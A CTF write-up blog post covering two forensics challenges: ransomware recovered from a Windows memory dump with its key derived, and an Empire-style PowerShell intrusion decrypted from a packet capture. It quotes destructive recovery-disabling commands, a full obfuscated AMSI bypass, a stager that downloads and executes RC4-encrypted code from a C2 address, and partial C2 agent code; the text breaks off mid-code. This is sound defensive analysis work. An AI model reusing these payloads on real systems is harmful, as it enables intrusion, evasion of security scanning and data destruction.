ICMTC Finals 2026

55 minute read

الْحَمْدُ لِلّهِ الَّذِي هَدَانَا لِهَـذَا وَمَا كُنَّا لِنَهْتَدِيَ لَوْلا أَنْ هَدَانَا اللّهُ

Date: 14/7/2026

By: Y0un15


Little Talk

I participated in ICMTC Finals 2026 with my team, Mont5ab El2hwa, and we secured second place img1

I am proud of the result, but I also want to be honest about the experience. The event was a good test of teamwork and technical thinking, yet some parts of the challenge design felt repetitive and underwhelming. The three DFIR challenges were quite similar in concept, and several participants noted that some of them had already been covered in online write-ups. The reverse-engineering challenge also felt like a rework of the same core idea from the previous year, which made the event feel less fresh than it should have.

I was hoping for a more engaging experience, especially given the absence of malware labs or attack & defence stayle DFIR tasks. The event was also advertised as AI-free under the HTB rules, with “No AI tools permitted,” yet that rule was not enforced. Nearly everyone was using AI, and although the organizers said that AI agents were forbidden, that policy also appeared to be ignored. Too many teams relied on AI agents, and support allegedly told participants it was acceptable as long as they did not “one-shot” the challenge. This did not feel like a fair CTF; it felt more like a pay-to-win environment, under those conditions I am not as proud of the victory as i should be

I hope the next version , will be more tightly controlled and managed, more in line with previous editions before the AI era.

Aside from the crap talk, let’s move on to the walkthrough of the challenges, which include two forensics challenges and one reverse-engineering challenge


Infected

Scenario

A user (Wilson) noticed a black window flash during boot; afterward, every user file had been renamed with a .enc extension. IT captured RAM right after the incident. Our job: identify the malware, recover the encryption key, and decrypt clients_information.xlsx.enc to retrieve the flag.

Discovery

We were given two files: mem.dmp and clients_information.xlsx.enc. Our goal was to analyze the memory dump to find a way to decrypt the encrypted file

With Volatility3 i started to look for suspicious processes or any other notable activity

I first used the windows.info plugin to gather basic information about the dump img1

  • Windows 7 SP1
  • 32-bit (x86)
  • PAE enabled Captured at: 2022-10-14 21:51:45 UTC

Then used windows.pslist to enumerate processes img2 The ransomware executable had already run and exited by the time the capture was taken, so it does not appear in pslist

However, we do have cygrunsrv.exe and sshd.exe, which are not installed by default on Windows 7. That suggests some kind of SSH session, so I started investigating that PID

python3 vol.py -f mem.dmp windows.dlllist --pid 284

img3

I also checked the Python-related artifacts:

python3 vol.py -f mem.dmp windows.pythonline

img4 At this point, I still did not see anything suspicious. It may have been that the ransomware was masquerading as a legitimate process name, and I had not caught it yet

Then I checked the network activity with windows.netscan: img4

I also checked for hidden processes with windows.psscan: img4

So far, I had not found any suspicious activity

Next, I decided to do a wide search through the user activity using windows.filescan and then filter the output for relevant artifacts

python3 vol.py -f mem.dmp windows.filescan > filescan.txt

I specifically searched for .exe files, since this was clearly malware-related and we hoped to identify the binary and extract it for reverse engineering. img4 I noticed a suspicious file on the user’s desktop called Atac4D.exe, along with its memory offset. Before extracting it, I checked its occurrences in the filescan output

python3 vol.py -f mem.dmp windows.filescan | grep -i "Atac4D"

0x205cbd88 100.0\Users\Wilson\Desktop\Atac4D.exe
0x3e545828	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\e68\Atac4D.runtimeconfig.json
0x3e5b7e58	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\System.Console.dll
0x3e5be838	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\clrjit.dll
0x3e5c9eb8	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\System.Net.NameResolution.dll
0x3e621198	\Users\Wilson\Desktop\Atac4D.exe
0x3e6484b0	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\Atac4D.dll
0x3e6a4e40	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\System.Diagnostics.Process.dll
0x3e6d4da0	\Users\Wilson\Desktop\Atac4D.exe
0x3e793628	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\System.Runtime.dll
0x3e7941d8	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\Microsoft.Win32.Primitives.dll
0x3e8b4268	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\System.Net.Primitives.dll
0x3e93d690	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\System.ComponentModel.Primitives.dll
0x3eefaeb8	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\e68\SOS_README.md
0x3f459890	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\System.Net.Ping.dll
0x3f4a92a0	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\hostpolicy.dll
0x3f4a9358	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\api-ms-win-crt-utility-l1-1-0.dll
0x3f4aa938	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\netstandard.dll
0x3f4b64d8	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\Microsoft.Win32.Registry.dll
0x3f4b6f80	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\System.Runtime.Extensions.dll
0x3f4b8148	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\System.Collections.dll
0x3f4b8888	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\System.IO.FileSystem.dll
0x3f4c8658	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\System.Linq.dll
0x3f4ed468	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\System.Security.Cryptography.Primitives.dll
0x3f500f80	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\hostfxr.dll
0x3f5262c8	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\System.Security.Cryptography.Algorithms.dll
0x3f55c850	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\System.Private.CoreLib.dll
0x3f55ca78	\Users\Wilson\AppData\Local\Temp\.net\Atac4D\pkEXd_gSpg1xnFryO9TJxtZrmSM5qt8=\coreclr.dll

This confirms that this is likely the malware

Extracting

I used windows.dumpfiles.DumpFiles to extract the executable

python3 vol.py -f mem.dmp windows.dumpfiles.DumpFiles --physaddr 0x3e621198
python3 vol.py -f mem.dmp windows.dumpfiles.DumpFiles --physaddr 0x205cbd88
python3 vol.py -f mem.dmp windows.dumpfiles.DumpFiles --physaddr 0x3e6d4da0

Using this approach, I recovered the ransomware and could begin reversing its logic img4

A quick check with DIE img4

Analysis

i checked the exe file’s strings and saw Atac4D.dll and instantly remembered the dll I saw in the Tmp dir; likely the exe will drop it and load it. img4

so i also extracted it

python3 vol.py -f mem.dmp windows.dumpfiles.DumpFiles --physaddr 0x3e6484b0

and started reverse engineering it maybe it will be a shortcut to see the real logic. Since the DLL is a .NET i loaded it into dnSpy. img4 This looks promising, so I started to follow and understand img4 Inside the main, the ransomware starts with a casual anti-VM by

  1. Checking the internet by pinging google.com (IzBEwwlnt) 2- Checking the registry presence (SpkNtCBIT) and if either of them fails, the ransomware will stop and exit, and if not, I continue its malicious behavior.
    • vssadmin delete shadows /all /quiet & wmic shadowcopy delete Deletes Volume Shadow Copies
    • bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no Disables Windows recovery via bcdedit
    • wbadmin delete catalog -quiet Deletes the Windows Backup catalog
    • Calls DEuLGJtoN on C:\Users<username> to start encrypting files

img4

1- DEuLGJtoN

it checks for every file if its extension was one of the list jpg, mp3, mp4, png, pdf, txt, doc, docx, docm, ppt, pptx, xls, xlsx and doesn’t end with .enc it would call CZmDwSoeZ to encrypt it

2- CZmDwSoeZ

img4

  • Uses a hardcoded password: dXcIcaCPoCiUXKMO
  • SHA-256 hashes that password to obtain a 32-byte digest, which is supplied to PBKDF2 as both its password input and salt
  • Calls VhYahoLew to perform an AES encryption to the file and add the .enc extension to it

To break things down, I will use CyberChef to decrypt the file first is used the hard-coded string dXcIcaCPoCiUXKMO to calculate the sha256 key img4 Then the call to VhYahoLew will use this key hash cdce5a684b0d4201ada1dc46ac3ffde415d1cc4f8adfeaef0fd23dd47a7c600b will be used as both the PBKDF2 passphrase and the salt Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(emEgdLaPf, emEgdLaPf, 1000); img4

PBKDF2 derives 48 bytes here: the first 32 bytes are the AES-256 key and the following 16 bytes are the CBC IV. AES cannot use a 64-byte key or a 32-byte IV. With those values, we can decrypt the file and recover the flag. ### Recovering i just loaded the enc file i have provided into CyberChef and used 9350dd2f3f62d83387d5e29bafc85afefe6ee2a5e4e339fe1b47f8c080e0604d as the key and 3157d1378449104cf3ff5d8e0d8b394b as the IV, and the mode is CBC and you will get the original file. img4 after downloading the file and opening it and searching for the flag

img4 HTB{p4y1ng_th3_r4ns0m_1s_n0t_4_g00d_1d34}

I believe I can make the ransom decrypt the file we have by dynamically executing the binary and putting some breakpoints, and, with some jumps and NOPs, I would make it decrypt its own file, and this is the easy way in a lot of samples, but since the encryption is too weak and I can easily deploy it in CyberChef, I won’t annoy myself and will just use CyberChef or a Python script.


The Empire is at risk

Scenario

As the Empire continued to expand its territories, the smaller yet free remained galaxies in the universe feared for the worst. Rumor has it that they have developed a Command & Control Server, stealthy enough to penetrate even the most hardened systems. People’s only hope is the chosen one. The one who shall make Empire’s secret weapon useless. Here are a network capture and a process dump of a recent incident in which it is believed the Empire was involved. Can you find a way to decrypt the communications and find out what happened? Are you the chosen one?

Discovery

We were provided with a PCAP file, capture.pcap, and a memory dump, powershell.DMP. Our task was to understand the incident and recover the secret.

I started with the PCAP to see what the attacker had done and found this obfuscated PowerShell in the first TCP stream img Let’s break it down

1 - AMSI bypass

$MFmONzmHg=$null;$rfsbs="$(('S'+'y'+'s'+'t'+'e'+'m').nORMALIZe([ChAR](70*52/52)+[CHAr](66+45)+[cHar]([byTe]0x72)+[chAr]([byte]0x6d)+[chAr](68*21/21)) -replace [CHaR](92*74/74)+[ChaR](112)+[chAR](123)+[cHaR](25+52)+[ChaR]([bYtE]0x6e)+[CHaR](18+107)).$([CHaR]([bYte]0x4d)+[chAr]([ByTe]0x61)+[cHAR]([ByTe]0x6e)+[cHaR](97)+[ChAr](103*89/89)+[CHar]([bytE]0x65)+[ChaR](17+92)+[cHaR]([BytE]0x65)+[char](51+59)+[cHaR](116+63-63)).$(('Äutôm'+'àtíón').noRMAlIZE([cHar](17+53)+[chAr](111+5-5)+[ChaR](114+20-20)+[ChAR](109)+[CHar]([BYTe]0x44)) -replace [chaR]([bYtE]0x5c)+[cHAr](28+84)+[CHAr](123*58/58)+[CHar](77)+[char](55+55)+[ChAr](125+34-34)).$([ChAR](30+35)+[char](109+82-82)+[chaR]([ByTE]0x73)+[ChAr]([BYte]0x69)+[char]([BYTE]0x55)+[cHar](116+28-28)+[cHar](105)+[chaR](108)+[Char]([Byte]0x73))";$hn="+[cHAr]([ByTE]0x6d)+[cHaR]([BYtE]0x73)";[Threading.Thread]::Sleep(1801);[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType($([chAr]([BYTE]0x53)+[chAR](121*1/1)+[CHAr]([byte]0x73)+[char]([bYtE]0x74)+[cHaR]([BytE]0x65)+[ChaR](109+98-98)+[cHAR](46*36/36)+[CHAR](82)+[cHar](61+40)+[ChAr](102*7/7)+[cHAR](108+8-8)+[CHaR]([bYte]0x65)+[char]([ByTE]0x63)+[cHAR]([ByTE]0x74)+[ChAr](105)+[cHAR]([byTe]0x6f)+[chAr]([bytE]0x6e)+[CHaR](46*5/5)+[cHar]([bYte]0x42)+[CHar](105+78-78)+[ChAr]([BytE]0x6e)+[chAR]([BYTe]0x64)+[CHAR](31+74)+[cHaR](22+88)+[chAr]([BytE]0x67)+[cHAR]([BYtE]0x46)+[cHaR](108*18/18)+[ChAR]([byte]0x61)+[cHar]([BYTe]0x67)+[ChAR]([BytE]0x73)))).FullName), $(('S'+'y'+'s'+'t'+'e'+'m').nORMALIZe([ChAR](70*52/52)+[CHAr](66+45)+[cHar]([byTe]0x72)+[chAr]([byte]0x6d)+[chAr](68*21/21)) -replace [CHaR](92*74/74)+[ChaR](112)+[chAR](123)+[cHaR](25+52)+[ChaR]([bYtE]0x6e)+[CHaR](18+107)).Reflection.FieldInfo]" -as [String].Assembly.GetType($([CHAR]([BYtE]0x53)+[ChAr]([BYTE]0x79)+[cHAR]([BYte]0x73)+[ChAr]([BYTE]0x74)+[CHaR](101+5-5)+[ChaR]([BYTe]0x6d)+[ChAR](46)+[Char]([bYTe]0x54)+[Char]([byTe]0x79)+[chAR](12+100)+[char](101+27-27)))), [Object]([Ref].Assembly.GetType($rfsbs)),($(('GetFì'+'eld').NOrMaLize([chaR](70)+[char]([byTe]0x6f)+[CHAR]([bYtE]0x72)+[CHAr](109)+[CHar]([BYtE]0x44)) -replace [CHAr](92+15-15)+[ChAR]([bYTe]0x70)+[CHAR](123*12/12)+[chAr]([bYTE]0x4d)+[cHar]([bYTE]0x6e)+[ChaR](125+14-14)))).Invoke($([ChAr]([ByTE]0x61)+[CHAr]([BYTe]0x6d)+[chAr](101+14)+[ChaR]([bytE]0x69)+[CHaR]([BYte]0x49)+[char](110+17-17)+[CHaR](105)+[CHAR]([bytE]0x74)+[chAr]([byte]0x46)+[chaR]([byTE]0x61)+[Char]([BytE]0x69)+[chAr](108)+[chAr]([BYTe]0x65)+[chAr]([BYtE]0x64)),(("NonPublic,Static") -as [String].Assembly.GetType($([chAr]([BYTE]0x53)+[chAR](121*1/1)+[CHAr]([byte]0x73)+[char]([bYtE]0x74)+[cHaR]([BytE]0x65)+[ChaR](109+98-98)+[cHAR](46*36/36)+[CHAR](82)+[cHar](61+40)+[ChAr](102*7/7)+[cHAR](108+8-8)+[CHaR]([bYte]0x65)+[char]([ByTE]0x63)+[cHAR]([ByTE]0x74)+[ChAr](105)+[cHAR]([byTe]0x6f)+[chAr]([bytE]0x6e)+[CHaR](46*5/5)+[cHar]([bYte]0x42)+[CHar](105+78-78)+[ChAr]([BytE]0x6e)+[chAR]([BYTe]0x64)+[CHAR](31+74)+[cHaR](22+88)+[chAr]([BytE]0x67)+[cHAR]([BYtE]0x46)+[cHaR](108*18/18)+[ChAR]([byte]0x61)+[cHar]([BYTe]0x67)+[ChAR]([BytE]0x73))))).SetValue($MFmONzmHg,$True);

It flips the private amsiInitFailed field so PowerShell believes AMSI already failed to initialize and therefore stops submitting script content for scanning for the rest of the session

2 - Obfuscated PowerShell code

powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAzAEEARABjAEEATABnAEEAMwBBAEQAUQBBAEwAZwBBAHgAQQBEAGsAQQBPAEEAQQB1AEEARABVAEEATQBnAEEANgBBAEQAZwBBAE0AQQBBADQAQQBEAE0AQQAnACkAKQApADsAJAB0AD0AJwAvAG4AZQB3AHMALgBwAGgAcAAnADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAB3AGMALgBQAHIAbwB4AHkAPQBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEQAZQBmAGEAdQBsAHQAVwBlAGIAUAByAG8AeAB5ADsAJAB3AGMALgBQAHIAbwB4AHkALgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AQwByAGUAZABlAG4AdABpAGEAbABDAGEAYwBoAGUAXQA6ADoARABlAGYAYQB1AGwAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7ACQAUwBjAHIAaQBwAHQAOgBQAHIAbwB4AHkAIAA9ACAAJAB3AGMALgBQAHIAbwB4AHkAOwAkAEsAPQBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABCAHkAdABlAHMAKAAnAGUAdwB0AFYAWgBpAE4AfgA1ACkAMQAzAEMAeAAuAE0AQABvAE8ASgB5AHAAXgBHAD4AVABSAFcAcQAoACMAYgAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAGcAcwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMAbwB1AG4AdABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBiAHgAbwByACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAQwBvAG8AawBpAGUAIgAsACIAUgBZAGIAZgBIAEEAPQBQAG0ATABzAG0AYwBSAGUAKwBRAC8AZwB6AEwAUQBiAEoAbQBOAG8ANgBxAEIARgBlAFgAZwA9ACIAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHMAZQByACsAJAB0ACkAOwAkAGkAdgA9ACQAZABhAHQAYQBbADAALgAuADMAXQA7ACQAZABhAHQAYQA9ACQAZABhAHQAYQBbADQALgAuACQAZABhAHQAYQAuAGwAZQBuAGcAdABoAF0AOwAtAGoAbwBpAG4AWwBDAGgAYQByAFsAXQBdACgAJgAgACQAUgAgACQAZABhAHQAYQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA

img After reformatting it, this is how it looks

if ($PSVersionTable.PSVersion.Major -ge 3) {}

[System.Net.ServicePointManager]::Expect100Continue = 0

$wc = New-Object System.Net.WebClient

$u = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'

$ser = $(
    [Text.Encoding]::Unicode.GetString(
        [Convert]::FromBase64String(
            'aAB0AHQAcAA6AC8ALwA3ADcALgA3ADQALgAxADkAOAAuADUAMgA6ADgAMAA4ADMA'  ## httpx://77.74.198.52:8083
        )
    )
)

$t = '/news.php'

$wc.Headers.Add('User-Agent',$u)

$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy
$wc.Proxy.Credentials =
    [System.Net.CredentialCache]::DefaultNetworkCredentials

$Script:Proxy = $wc.Proxy

$K = [System.Text.Encoding]::ASCII.GetBytes(
    'ewtVZiN~5)13Cx.M@oOJyp^G>TRWq(#b'
)

$R = {
    $D, $K = $Args

    $S = 0..255

    0..255 | %{
        $J = ($J + $S[$_] + $K[$_ % $K.Count]) % 256
        $S[$_], $S[$J] = $S[$J], $S[$_]
    }

    $D | %{
        $I = ($I + 1) % 256
        $H = ($H + $S[$I]) % 256
        $S[$I], $S[$H] = $S[$H], $S[$I]

        $_ -bxor $S[($S[$I] + $S[$H]) % 256]
    }
}

$wc.Headers.Add(
    "Cookie",
    "RYbfHA=PmLsmcRe+Q/gzLQbJmNo6qBFeXg="
)

$data = $wc.DownloadData($ser + $t)

$iv = $data[0..3]

$data = $data[4..$data.length]

-join [Char[]] (& $R $data ($IV + $K)) | IEX

This is the initial stage, and it does a few obvious things

Stage 0 breakdown

  • contains a no-op PowerShell-version test: if ($PSVersionTable.PSVersion.Major -ge 3) {} has an empty body
  • disables HTTP Expect: 100-continue, avoiding the extra 100 Continue negotiation that some HTTP clients perform
  • creates an HTTP client object
  • sets the user-agent to blend in with normal traffic
  • decodes the C2 server http://77.74.198.52:8083
  • sets the target endpoint /news.php
  • configures the web client and proxy settings
  • uses the staging key ewtVZiN~5)13Cx.M@oOJyp^G>TRWq(#b; the per-response RC4 key is IV || staging key
  • runs the standard RC4 algorithm against the traffic
  • sets a hardcoded cookie RYbfHA=PmLsmcRe+Q/gzLQbJmNo6qBFeXg=
  • downloads the encrypted data from http://77.74.198.52:8083/news.php
  • uses the first 4 bytes as the IV and the remaining bytes as the payload
  • runs RC4 with the IV and key to decrypt the payload, then executes it as PowerShell

To see what was the data the attacker dowlaoded and execute we have to extract that news.php from the pcap file and decrpt it

After extracting the encrypted payload img I wrote a small script to mimic the PowerShell RC4 logic

def rc4(data: bytes, key: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    out = bytearray()
    i = 0
    j = 0
    for b in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        out.append(b ^ S[(S[i] + S[j]) % 256])
    return bytes(out)

K = b'ewtVZiN~5)13Cx.M@oOJyp^G>TRWq(#b'
raw = open('news.php', 'rb').read()
iv, ct = raw[:4], raw[4:]
print(rc4(ct, iv + K).decode('latin-1'))

This leads to the next stage

Stage 1 breakdown

$server = "http://77.74.198.52:8083";$Script:ControlServers = @($server);$Script:ServerIndex = 0;if($server.StartsWith('https')){[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};}$Script:SendMessage = {param($Packets)if($Packets) {$EncBytes = Encrypt-Bytes $Packets;$RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5;if($Script:ControlServers[$Script:ServerIndex].StartsWith('http')) {$wc = New-Object System.Net.WebClient;$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;if($Script:Proxy) {$wc.Proxy = $Script:Proxy;}$wc.Headers.Add('User-Agent', $Script:UserAgent);$Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)};try {$taskURI = $Script:TaskURIs | Get-Random;$response = $wc.UploadData($Script:ControlServers[$Script:ServerIndex]+$taskURI, 'POST', $RoutingPacket);}catch [System.Net.WebException]{if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {Start-Negotiate -S "$ser" -SK $SK -UA $ua;}}}}};$Script:GetTask = {try {if ($Script:ControlServers[$Script:ServerIndex].StartsWith("http")) {$RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4;$RoutingCookie = [Convert]::ToBase64String($RoutingPacket);$wc = New-Object System.Net.WebClient;$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;if($Script:Proxy) {$wc.Proxy = $Script:Proxy;}$wc.Headers.Add("User-Agent",$script:UserAgent);$script:Headers.GetEnumerator() | % {$wc.Headers.Add($_.Name, $_.Value)};$wc.Headers.Add("Cookie","session=$RoutingCookie");$taskURI = $script:TaskURIs | Get-Random;$result = $wc.DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI);$result;}}catch [Net.WebException] {$script:MissedCheckins += 1;if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {Start-Negotiate -S "$ser" -SK $SK -UA $ua;}}};function Start-Negotiate {param($s,$SK,$UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',$hop)function ConvertTo-RC4ByteStream {Param ($RCK, $In)begin {[Byte[]] $Str = 0..255;$J = 0;0..255 | ForEach-Object {$J = ($J + $Str[$_] + $RCK[$_ % $RCK.Length]) % 256;$Str[$_], $Str[$J] = $Str[$J], $Str[$_];};$I = $J = 0;}process {ForEach($Byte in $In) {$I = ($I + 1) % 256;$J = ($J + $Str[$I]) % 256;$Str[$I], $Str[$J] = $Str[$J], $Str[$I];$Byte -bxor $Str[($Str[$I] + $Str[$J]) % 256];}}}function Decrypt-Bytes {param ($Key, $In)if($In.Length -gt 32) {$HMAC = New-Object System.Security.Cryptography.HMACSHA256;$e=[System.Text.Encoding]::ASCII;$Mac = $In[-10..-1];$In = $In[0..($In.length - 11)];$hmac.Key = $e.GetBytes($Key);$Expected = $hmac.ComputeHash($In)[0..9];if (@(Compare-Object $Mac $Expected -Sync 0).Length -ne 0) {return;}$IV = $In[0..15];try {$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;}catch {$AES=New-Object System.Security.Cryptography.RijndaelManaged;}$AES.Mode = "CBC";$AES.Key = $e.GetBytes($Key);$AES.IV = $IV;($AES.CreateDecryptor()).TransformFinalBlock(($In[16..$In.length]), 0, $In.Length-16)}}$Null = [Reflection.Assembly]::LoadWithPartialName("System.Security");$Null = [Reflection.Assembly]::LoadWithPartialName("System.Core");$ErrorActionPreference = "SilentlyContinue";$e=[System.Text.Encoding]::UTF8;$customHeaders = "";$SKB=$e.GetBytes($SK);try {$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;}catch {$AES=New-Object System.Security.Cryptography.RijndaelManaged;}$IV = [byte] 0..255 | Get-Random -count 16;$AES.Mode="CBC";$AES.Key=$SKB;$AES.IV = $IV;$hmac = New-Object System.Security.Cryptography.HMACSHA256;$hmac.Key = $SKB;$csp = New-Object System.Security.Cryptography.CspParameters;$csp.Flags = $csp.Flags -bor [System.Security.Cryptography.CspProviderFlags]::UseMachineKeyStore;$rs = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList 2048,$csp;$rk=$rs.ToXmlString($False);$ID=-join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 8);$ib=$e.getbytes($rk);$eb=$IV+$AES.CreateEncryptor().TransformFinalBlock($ib,0,$ib.Length);$eb=$eb+$hmac.ComputeHash($eb)[0..9];if(-not $wc) {$wc=New-Object System.Net.WebClient;$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;}if ($Script:Proxy) {$wc.Proxy = $Script:Proxy;}if ($customHeaders -ne "") {$headers = $customHeaders -split ',';$headers | ForEach-Object {$headerKey = $_.split(':')[0];$headerValue = $_.split(':')[1];if ($headerKey -eq "host"){try{$ig=$WC.DownloadData($s)}catch{}};$wc.Headers.Add($headerKey, $headerValue);}}$wc.Headers.Add("User-Agent",$UA);$IV=[BitConverter]::GetBytes($(Get-Random));$data = $e.getbytes($ID) + @(0x01,0x02,0x00,0x00) + [BitConverter]::GetBytes($eb.Length);$rc4p = ConvertTo-RC4ByteStream -RCK $($IV+$SKB) -In $data;$rc4p = $IV + $rc4p + $eb;$raw=$wc.UploadData($s+"/login/process.php","POST",$rc4p);$de=$e.GetString($rs.decrypt($raw,$false));$nonce=$de[0..15] -join '';$key=$de[16..$de.length] -join '';$nonce=[String]([long]$nonce + 1);try {$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;}catch {$AES=New-Object System.Security.Cryptography.RijndaelManaged;}$IV = [byte] 0..255 | Get-Random -Count 16;$AES.Mode="CBC";$AES.Key=$e.GetBytes($key);$AES.IV = $IV;$i=$nonce+'|'+$s+'|'+[Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName;try{$p=(gwmi Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress);}catch {$p = "[FAILED]"}$ip = 